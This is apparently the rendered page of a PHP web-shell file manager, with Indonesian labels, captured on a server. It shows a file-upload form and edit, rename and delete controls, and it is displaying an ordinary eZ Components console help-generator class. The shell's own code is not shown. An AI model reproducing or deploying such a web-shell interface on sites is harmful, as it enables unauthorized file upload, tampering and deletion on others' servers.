<h2>DIR~: <a href='?dir=%2Fopt'>opt</a>/<a href='?dir=%2Fopt%2Falt'>alt</a>/<a href='?dir=%2Fopt%2Falt%2Fphp55'>php55</a>/<a href='?dir=%2Fopt%2Falt%2Fphp55%2Fusr'>usr</a>/<a href='?dir=%2Fopt%2Falt%2Fphp55%2Fusr%2Fshare'>share</a>/<a href='?dir=%2Fopt%2Falt%2Fphp55%2Fusr%2Fshare%2Fpear'>pear</a>/<a href='?dir=%2Fopt%2Falt%2Fphp55%2Fusr%2Fshare%2Fpear%2Fezc'>ezc</a>/<a href='?dir=%2Fopt%2Falt%2Fphp55%2Fusr%2Fshare%2Fpear%2Fezc%2FConsoleTools'>ConsoleTools</a>/<a href='?dir=%2Fopt%2Falt%2Fphp55%2Fusr%2Fshare%2Fpear%2Fezc%2FConsoleTools%2Finput'>input</a>/<a href='?dir=%2Fopt%2Falt%2Fphp55%2Fusr%2Fshare%2Fpear%2Fezc%2FConsoleTools%2Finput%2Fhelp_generators'>help_generators</a></h2><h3>Upload File</h3><form method='post' enctype='multipart/form-data'><input type='file' name='file'><input type='submit' name='upload' value='Upload'></form><ul style='list-style:none; padding:0;'><h3>Edit File: standard.php</h3><form method='post'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * File containing the ezcConsoleInputStandardHelpGenerator class.
 *
 * @package ConsoleTools
 * @version 1.6.1
 * @copyright Copyright (C) 2005-2010 eZ Systems AS. All rights reserved.
 * @license http://ez.no/licenses/new_bsd New BSD License
 * @filesource
 */
/**
 * Standard help generator for {@link ezcConsoleInput}.
 *
 * Standard help generation as {@link ezcConsoleInput} did from the start.
 *
 * @package ConsoleTools
 * @version 1.6.1
 *
 * @access private
 * @TODO Verify interface and make it public to replace the validation in 
 *       {@link ezcConsoleInput}.
 */
class ezcConsoleInputStandardHelpGenerator implements ezcConsoleInputHelpGenerator
{
    /**
     * Input object. 
     * 
     * @var ezcConsoleInput
     */
    private $input;

    /**
     * Creates a new help generator.
     *
     * Creates a new help generator for the given $input.
     * 
     * @param ezcConsoleInput $input
     */
    public function __construct( ezcConsoleInput $input )
    {
        $this-&gt;input = $input;
    }

    /**
     * Generates help information as a multidimensional array.
     *
     * This method generates a tabular view on the help information of a 
     * program. The returned array has the following structure:
     *
     * &lt;code&gt;
     * &lt;?php
     * array(
     *  0 =&gt; array(
     *      0 =&gt; '&lt;option short/long name&gt;',
     *      1 =&gt; '&lt;option help, depending on the $long parameter&gt;'
     *  ),
     *  1 =&gt; array(
     *      0 =&gt; '&lt;option short name&gt; / &lt;option long name&gt;',
     *      1 =&gt; '&lt;option help, depending on the $long parameter&gt;'
     *  ),
     *  // ...
     * );
     * ?&gt;
     * &lt;/code&gt;
     *
     * Each row of the array represents the help information for a single option.
     * The first cell of a row contains the option name (maybe short, long or 
     * both), the second cell contains the help text of the option.
     *
     * The returned array is used by {@link ezcConsoleInput} for different 
     * purposes.
     * For example, the user can retrieve it raw through the
     * {@link ezcConsoleInput::getHelp()} method, he can generate a help
     * {@link ezcConsoleTable} through {@link ezcConsoleInput::getHelpTable()} 
     * are can generate a printable help text through {@link 
     * ezcConsoleInput::getHelpText()}.
     *
     * The parameter $long defines if the long or short help text of the 
     * options should be used in the second cell of the returned array. The
     * $optionsFilter parameter is used to restrict the generated help to a certain 
     * sub-set of options. It consists of an array of short or long names of 
     * the options to include.
     * 
     * @param bool $long 
     * @param array(string) $optionsFilter
     * @return array(array(string))
     */
    public function generateUngroupedOptionHelp( $long = false, array $optionsFilter = null )
    {
        $help = array();
        foreach ( $this-&gt;input-&gt;getOptions() as $id =&gt; $param )
        {
            if ( $optionsFilter === null || in_array( $param-&gt;short, $optionsFilter ) || in_array( $param-&gt;long, $optionsFilter ) )
            {
                $help[] = $this-&gt;getOptionHelpRow( $long, $param );
            }
        }
        return $help;
    }

    /**
     * Generates help information as a multidimensional array, grouped in categories.
     *
     * This method behaves similar to {@link generateUngroupedOptionHelp()}. In 
     * contrast to the latter one, this method returns an array with 1 
     * dimension more, grouping options into categories. The $groups parameter 
     * defines the categories to generate. Each category may contain an 
     * arbitrary number of options, options might occur in different 
     * categories.
     *
     * The returned array has the follorwing format:
     *
     * &lt;code&gt;
     * &lt;?php
     * array(
     *  '&lt;category name&gt;' =&gt; array(
     *      0 =&gt; array(
     *          0 =&gt; '&lt;option short/long name&gt;',
     *          1 =&gt; '&lt;option help, depending on the $long parameter&gt;'
     *      ),
     *      1 =&gt; array(
     *          0 =&gt; '&lt;option short name&gt; / &lt;option long name&gt;',
     *          1 =&gt; '&lt;option help, depending on the $long parameter&gt;'
     *      ),
     *      // ...
     *  ),
     *  '&lt;category name&gt;' =&gt; array(
     *      // ...
     *  ),
     *  // ...
     * );
     * ?&gt;
     * &lt;/code&gt;
     *
     * The $long parameter, as in {@link generateUngroupedOptionHelp()} 
     * determines if the options short or long help is to be used. The
     * $params array can in addition be used to determine if a parameter
     * is displayed at all. If $optionsFilter is submitted and is not null, 
     * only options listed in it will be shown in the help at all.
     * 
     * @param array(string=&gt;array(string)) $groups
     * @param bool $long 
     * @param array(string) $params 
     * @return array(string=&gt;array(array(string)))
     */
    public function generateGroupedOptionHelp( array $groups, $long = false, array $optionsFilter = null )
    {
        $help = array();
        foreach ( $groups as $groupName =&gt; $groupOptions )
        {
            foreach ( $groupOptions as $optionName )
            {
                $option = $this-&gt;input-&gt;getOption( $optionName );
                if ( $optionsFilter === null || in_array( $option-&gt;short, $optionsFilter ) || in_array( $option-&gt;long, $optionsFilter ) )
                {
                    $help[$groupName][] = $this-&gt;getOptionHelpRow(
                        $long,
                        $option
                    );
                }
            }
        }
        return $help;
    }

    /**
     * Generates help information as a multi-dimensonal array for the given $argumentDefinition.
     *
     * This method generates a tabular help information for the given 
     * $argumentDefinition in the following format:
     *
     * &lt;code&gt;
     * &lt;?php
     * array(
     *  0 =&gt; array(
     *      0 =&gt; '&lt;argument synopsis&gt;',
     *      1 =&gt; '&lt;argument help text&gt;'
     *  ),
     *  1 =&gt; array(
     *      0 =&gt; '&lt;argument synopsis&gt;',
     *      1 =&gt; '&lt;argument help text&gt;'
     *  ),
     *  // ...
     * )
     * ?&gt;
     * &lt;/code&gt;
     * 
     * The $long parameter defines if the long of short help text should be 
     * used.
     *
     * @param bool $long
     * @return array(array(string))
     */
    public function generateArgumentHelp( $long = false )
    {
        $help = array();
        if ( $this-&gt;input-&gt;argumentDefinition !== null )
        {
            foreach ( $this-&gt;input-&gt;argumentDefinition as $arg )
            {
                $argSynopsis = &quot;&lt;%s:%s&gt;&quot;;
                switch ( $arg-&gt;type )
                {
                    case ezcConsoleInput::TYPE_INT:
                        $type = &quot;int&quot;;
                        break;
                    case ezcConsoleInput::TYPE_STRING:
                        $type = &quot;string&quot;;
                        break;
                }
                $argSynopsis = sprintf( $argSynopsis, $type, $arg-&gt;name );
                $help[] = ( $long === true )
                        ? array( 
                            $argSynopsis,
                            $arg-&gt;longhelp . ( $arg-&gt;mandatory === false 
                                               ? ' (optional' . ( $arg-&gt;default !== null 
                                                                  ? ', default = ' . ( is_array( $arg-&gt;default ) 
                                                                                       ? &quot;'&quot; . implode( &quot;' '&quot;, $arg-&gt;default ) . &quot;'&quot; 
                                                                                       : &quot;'$arg-&gt;default'&quot; 
                                                                                     )
                                                                  : '' 
                                                                ) . ')'
                                               : ''
                                             )
                          )
                        : array( $argSynopsis, $arg-&gt;shorthelp );
            }
        }
        return $help;
    }

    /**
     * Creates 1 text row for displaying options help. 
     *
     * Returns a single array entry for the {@link getOptionHelpRow()} method.
     *
     * @param bool $long 
     * @param ezcConsoleOption $param
     * @return string
     */
    private function getOptionHelpRow( $long, ezcConsoleOption $param )
    {
        return array( 
            ( $param-&gt;short !== &quot;&quot; ? '-' . $param-&gt;short . ' / ' : &quot;&quot; ) . '--' . $param-&gt;long,
            $long == false ? $param-&gt;shorthelp : $param-&gt;longhelp,
        );
    }

    /**
     * Generates a command line synopsis for the options and arguments.
     *
     * This method generates a synopsis string that lists the options and 
     * parameters available, indicating their usage. If $optionsFilter is
     * submitted, only the options named in this array (short or long variant) 
     * will be included in the synopsis.
     *
     * @param array(string) $optionsFilter
     * @return string
     */
    public function generateSynopsis( array $optionFilter = null )
    {
        $usedOptions = array( 'short' =&gt; array(), 'long' =&gt; array() );
        $allowsArgs = true;
        $synopsis = '$ ' . ( isset( $argv ) &amp;&amp; sizeof( $argv ) &gt; 0 ? $argv[0] : $_SERVER['argv'][0] ) . ' ';
        foreach ( $this-&gt;input-&gt;getOptions() as $option )
        {
            if ( $optionFilter === null || in_array( $option-&gt;short, $optionFilter ) ||  in_array( $option-&gt;long, $optionFilter ) )
            {
                $synopsis .= $this-&gt;createOptionSynopsis( $option, $usedOptions, $allowsArgs );
            }
        }
        if ( $this-&gt;input-&gt;argumentDefinition === null )
        {
            // Old handling
            $synopsis .= &quot; [[--] &lt;args&gt;]&quot;;
        }
        else
        {
            $synopsis .= &quot;[--] &quot; . $this-&gt;createArgumentsSynopsis();
        }
        return $synopsis;
    }

    /**
     * Returns the synopsis string for a single option and its dependencies.
     *
     * This method returns a part of the program synopsis, specifically for a
     * certain parameter. The method recursively adds depending parameters up
     * to the 2nd depth level to the synopsis. The second parameter is used
     * to store the short names of all options that have already been used in 
     * the synopsis (to avoid adding an option twice). The 3rd parameter 
     * determines the actual deps in the option dependency recursion to 
     * terminate that after 2 recursions.
     * 
     * @param ezcConsoleOption $option        The option to include.
     * @param array(string) $usedOptions Array of used option short names.
     * @param int $depth                      Current recursion depth.
     * @return string The synopsis for this parameter.
     */
    private function createOptionSynopsis( ezcConsoleOption $option, &amp;$usedOptions, $depth = 0 )
    {
        $synopsis = '';

        // Break after a nesting level of 2
        if ( $depth++ &gt; 2 || ( in_array( $option-&gt;short, $usedOptions['short'] ) &amp;&amp; in_array( $option-&gt;long, $usedOptions['long'] ) ) ) return $synopsis;
        
        $usedOptions['short'][] = $option-&gt;short;
        $usedOptions['long'][]  = $option-&gt;long;
        
        $synopsis .= $option-&gt;short !== &quot;&quot; ? &quot;-{$option-&gt;short}&quot; : &quot;--{$option-&gt;long}&quot;;

        if ( isset( $option-&gt;default ) )
        {
            $synopsis .= &quot; &quot; . ( $option-&gt;type === ezcConsoleInput::TYPE_STRING ? '&quot;' : '' ) . $option-&gt;default . ( $option-&gt;type === ezcConsoleInput::TYPE_STRING ? '&quot;' : '' );
        }
        else if ( $option-&gt;type !== ezcConsoleInput::TYPE_NONE )
        {
            $synopsis .= &quot; &quot;;
            switch ( $option-&gt;type )
            {
                case ezcConsoleInput::TYPE_STRING:
                    $synopsis .= &quot;&lt;string&gt;&quot;;
                    break;
                case ezcConsoleInput::TYPE_INT:
                    $synopsis .= &quot;&lt;int&gt;&quot;;
                    break;
            }
        }

        foreach ( $option-&gt;getDependencies() as $rule )
        {
            $deeperSynopsis = $this-&gt;createOptionSynopsis( $rule-&gt;option, $usedOptions, $depth );
            $synopsis .= ( iconv_strlen( trim( $deeperSynopsis ), 'UTF-8' ) &gt; 0 
                ? ' ' . $deeperSynopsis
                : ''
            );
        }
        
        if ( $option-&gt;arguments === false )
        {
            $allowsArgs = false;
        }
        
        // Make the whole thing optional?
        if ( $option-&gt;mandatory === false )
        {
            $synopsis = &quot;[$synopsis]&quot;;
        }

        return $synopsis . ' ';
    }

    /**
     * Generate synopsis for arguments. 
     * 
     * @return string The synopsis string.
     */
    private function createArgumentsSynopsis()
    {
        $mandatory = true;
        $synopsises = array();
        foreach ( $this-&gt;input-&gt;argumentDefinition as $arg )
        {
            $argSynopsis = &quot;&quot;;
            if ( $arg-&gt;mandatory === false )
            {
                $mandatory = false;
            }
            $argSynopsis .= &quot;&lt;%s:%s&gt;&quot;;
            switch ( $arg-&gt;type )
            {
                case ezcConsoleInput::TYPE_INT:
                    $type = &quot;int&quot;;
                    break;
                case ezcConsoleInput::TYPE_STRING:
                    $type = &quot;string&quot;;
                    break;
            }
            $argSynopsis = sprintf( $argSynopsis, $type, $arg-&gt;name );
            $synopsises[] = $mandatory === false ? &quot;[$argSynopsis]&quot; : $argSynopsis;
            if ( $arg-&gt;multiple === true )
            {
                $synopsises[] = &quot;[$argSynopsis ...]&quot;;
                break;
            }
        }
        return implode( &quot; &quot;, $synopsises );
    }
}

?&gt;
</textarea><br><input type='hidden' name='file_name' value='standard.php'><input type='submit' name='edit' value='Simpan'></form><li style='color: red;'><b>[FILE]</b> standard.php <a href='?edit=standard.php&dir=%2Fopt%2Falt%2Fphp55%2Fusr%2Fshare%2Fpear%2Fezc%2FConsoleTools%2Finput%2Fhelp_generators'style='color:red;'>[Edit]</a> <a href='?dir=%2Fopt%2Falt%2Fphp55%2Fusr%2Fshare%2Fpear%2Fezc%2FConsoleTools%2Finput%2Fhelp_generators&rename=standard.php' style='color:red;'>[Rename]</a> <a href='?dir=%2Fopt%2Falt%2Fphp55%2Fusr%2Fshare%2Fpear%2Fezc%2FConsoleTools%2Finput%2Fhelp_generators&delete=standard.php' 
        style='color:red;' onclick='return confirm("Yakin ingin menghapus file ini?")'>[Delete]</a></ul>